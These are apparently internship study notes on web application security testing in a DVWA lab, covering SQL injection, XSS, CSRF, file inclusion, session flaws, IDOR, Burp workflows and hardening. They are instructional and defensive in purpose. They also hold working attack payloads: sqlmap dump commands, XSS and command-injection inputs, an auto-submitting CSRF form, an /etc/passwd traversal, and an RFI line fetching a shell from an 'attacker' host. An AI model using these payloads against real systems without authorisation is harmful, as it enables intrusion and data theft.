Task 3 — Web Application Security (Detailed Notes & Explanations)

Scope: DVWA / bWAPP style lab on an isolated network (Kali attacker → DVWA target).
Goal: Learn how web vulnerabilities work, how to detect/exploit them safely in a lab, and how to mitigate them.

1 — Setup & safety

Why: Safe environment prevents legal/ethical issues and gives reproducible results. How: Run Kali and the target VM (Metasploitable / Ubuntu + DVWA) on the same Host-Only network in VirtualBox/VMware. Set DVWA security to Low for learning; raise it when testing mitigations. Snapshot the target VM before tests so you can revert.

Quick DVWA install (target VM): sudo apt update sudo apt install apache2 mysql-server php php-mysqli php-gd git -y cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git dvwa sudo chown -R www-data:www-data dvwa # then open: http://<target-ip>/dvwa/setup.php to create DB

2 — HTTP basics & why web vulns matter

Web apps run on top of HTTP(S). Input from clients becomes server-side data — if not validated/escaped correctly, it can change program logic, SQL queries, or HTML output. Many vulnerabilities arise from unsanitized inputs, weak authentication, and poor configuration. Tools: Browser, Burp Suite (proxy), SQLMap (SQL automation), ffuf/dirb (fuzzing), Wireshark (network capture).

3 — SQL Injection (SQLi)

What is it? SQLi occurs when user input is inserted into SQL queries without proper sanitization/parameterization, allowing attackers to manipulate queries.

Types: - Error-based: Inject payloads that cause DB errors revealing info. - Union-based: Use UNION SELECT to append attacker-controlled result sets. - Boolean-based blind: Send payloads that change query logic; observe true/false via page content. - Time-based blind: Use DB SLEEP() to infer true/false from response time.

How to test (manual): 1. Find an input that interacts with a DB (search, id param). 2. Inject ' — if you see SQL error, it's vulnerable. 3. Try ' OR '1'='1' -- to bypass filters or return all rows.

Automated testing (sqlmap): sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --batch --dbs # dump table: sqlmap -u "..." --cookie="..." -D dvwa -T users --dump

What sqlmap does: fingerprints injection type, enumerates DBs, tables, columns, and can extract data.

Exploitation example: - Extract DB version: UNION SELECT null,version(),null -- - Dump users: sqlmap --dump ...

Why it works: Because the application concatenates strings to form SQL like: SELECT * FROM users WHERE id = ' " + user_input + " '; If user_input contains SQL it changes the query logic.

Mitigation (defenses): - Prepared statements / parameterized queries (bind variables). - ORMs that use parameterization by default. - Input validation & least-privileged DB accounts. - Stored procedures (use parameters). - Web Application Firewall (WAF) as extra layer.

4 — Cross-Site Scripting (XSS)

What is it? XSS allows attacker-supplied scripts to run in victims' browsers. Can steal cookies, perform actions as user, show fake UI.

Types: - Reflected XSS: payload sent in a link/query and reflected back immediately (requires victim to click link). - Stored XSS: payload stored on server (comment, profile) and executed when viewed. - DOM-based XSS: DOM manipulation on client side unsafely uses user input (e.g., innerHTML = location.hash).

Example payloads: - Reflected: <script>alert('XSS')</script> - Stored/image: <img src=x onerror=alert('StoredXSS')>

How to test: - Input payload into forms, URL params, comment boxes. - Use Burp to capture request and inject payloads, then replay.

Why it works: Because server outputs user input into HTML without encoding, or client-side JavaScript uses inputs insecurely.

Mitigation: - Context-aware encoding: HTML-escape before injecting into HTML; attribute-escape in attributes; JS-escape in scripts. - Content Security Policy (CSP) to restrict allowed script sources. - HttpOnly on cookies to prevent JS access. - Validate inputs (prefer output encoding).

5 — Cross-Site Request Forgery (CSRF)

What is it? CSRF tricks a logged-in user's browser into sending a request (POST/GET) that performs an action (password change, fund transfer) without their intent.

How it works: Attacker hosts a page with HTML form that auto-submits to the victim site. Because the browser includes cookies, the request is authenticated.

Example malicious HTML: <form action="http://victim/dvwa/change_pwd.php" method="POST" id="f"> <input type="hidden" name="password_new" value="hacked123"> <input type="hidden" name="password_conf" value="hacked123"> </form> <script>document.getElementById('f').submit();</script>

Mitigation: - CSRF tokens: unique per-form, per-session random value checked server-side. - SameSite cookies: SameSite=Lax/Strict prevents sending cookies on cross-site requests. - Re-authentication: require password before sensitive actions.

6 — File Inclusion (LFI & RFI)

LFI (Local File Inclusion): When an app includes files based on user input (e.g., include($_GET['page']);) attackers can traverse directories: - Payload: ?page=../../../../etc/passwd - Can read local files, possibly config files with credentials.

RFI (Remote File Inclusion): If allow_url_include is enabled or code permits remote URLs, attacker can host a malicious PHP file and include it: - ?page=http://attacker/shell.txt -> RCE (remote code execution).

Mitigation: - Avoid include-from-parameter patterns. Use whitelists: map page=about to about.php on server. - Disable allow_url_fopen / allow_url_include. - Sanitize and canonicalize paths.

7 — Authentication & Session Management

What to check: - Weak/default passwords - Session fixation - Missing HttpOnly, Secure, SameSite cookie flags - Long session lifetime and lack of logout/invalidation - Insecure password reset implementations

Tools/commands: - curl -I http://<target>/ to inspect headers - Use Burp to view Set-Cookie attributes.

Mitigations: - Enforce strong password policies, rate limiting, account lockout, multi-factor authentication (MFA). - Set cookie flags: Set-Cookie: session=abcd; HttpOnly; Secure; SameSite=Strict. - Rotate session IDs after login (prevent fixation).

8 — Insecure Direct Object References (IDOR)

What is it? An endpoint allows access to objects by id without verifying user authorization. Example: /account/view?id=123 — changing id may show someone else's account.

How to test: - Modify numeric/id parameters and observe what data is returned. - Try horizontal (different user) and vertical (higher privilege) access.

Mitigation: - Server-side authorization checks: verify resource belongs to requesting user. - Use indirect references (map internal IDs to random tokens).

9 — Burp Suite workflows (practical)

Proxy (Intercept): - Configure browser proxy to 127.0.0.1:8080. Intercept requests to inspect and modify on the fly.

Repeater: - Send requests to Repeater for controlled replay and iterative parameter testing.

Intruder: - Use to fuzz parameters (IDs, filenames, passwords) with wordlists. Good for brute forcing enumerations.

Scanner (Professional): - Auto-scan endpoints (in Pro) for common issues. Always verify findings manually.

Sequencing: 1. Intercept in Proxy -> identify parameter. 2. Send to Repeater -> probe different payloads. 3. If enumerating many values, send to Intruder. 4. Document requests/responses as evidence.

10 — Fuzzing & discovery

Directory discovery: - ffuf or dirb: ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200

Parameter fuzzing: - Burp Intruder or wfuzz for parameter value fuzzing.

Why useful: Find hidden endpoints, admin panels, backup files, known endpoints (e.g., /admin, /backup.tar.gz).

11 — Security headers & hardening

Important headers: - Content-Security-Policy (CSP) - restricts allowed script/style sources. - X-Frame-Options: DENY - prevent clickjacking. - X-Content-Type-Options: nosniff - prevent MIME-type confusion. - Referrer-Policy - control referrer header leakage. - Strict-Transport-Security (HSTS) - enforce HTTPS.

Add to Apache (example): Header always set X-Content-Type-Options "nosniff" Header always set X-Frame-Options "DENY" Header always set Referrer-Policy "no-referrer" Header always set Content-Security-Policy "default-src 'self';"

Then: sudo systemctl reload apache2

12 — Command & payload reference (copy-paste)

SQLMap: sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --batch --dbs

ffuf: ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200

curl headers: curl -I http://<IP>/

Basic Burp setup: - Set browser proxy to 127.0.0.1:8080 - Install Burp CA cert in browser for HTTPS interception.

Useful payloads: - SQLi: ' OR '1'='1' -- - - Time-based: ' OR SLEEP(5) -- - XSS: <script>alert(1)</script>, <img src=x onerror=alert(1)> - LFI: ../../../../etc/passwd - Command injection: ; ls -la or | id

13 — Verification & evidence collection

- Save HTTP requests/responses (Burp) and screenshots of successful payloads. - Export pcap if network-level evidence is required. - Save sqlmap outputs and save OpenVAS/ZAP reports if used.

14 — Reporting structure (for each finding)

1. Title - short name (e.g., SQL Injection on vuln.php?id) 2. Affected URL / Parameter - exact path and param. 3. Description - how the vulnerability works in this app. 4. Evidence - request, response snippet, screenshot (include timestamp). 5. Impact - what an attacker can achieve. 6. Risk rating - Low/Medium/High/Critical (justify). 7. Recommendation - exact code/config change or patch steps. 8. References - OWASP pages, CVEs, docs.

15 — Common pitfalls & tips

- False positives: Automated tools produce leads. Always verify manually. - Encoding/filters: Apps may filter characters - try encoded payloads (%27 for ') or different vectors (headers, cookies, POST body). - HTTPS issues: Install Burp CA certificate to intercept HTTPS. - Scope & legality: Never test external systems without permission. Document scope when performing tests.

16 — Further learning & references

- OWASP Top 10: https://owasp.org/www-project-top-ten/ - OWASP WebGoat / DVWA for practice - Burp Suite docs & PortSwigger Web Security Academy - SQLMap docs: https://sqlmap.org/ - Content Security Policy (MDN docs)

Prepared for ApexPlanet Internship — Task 3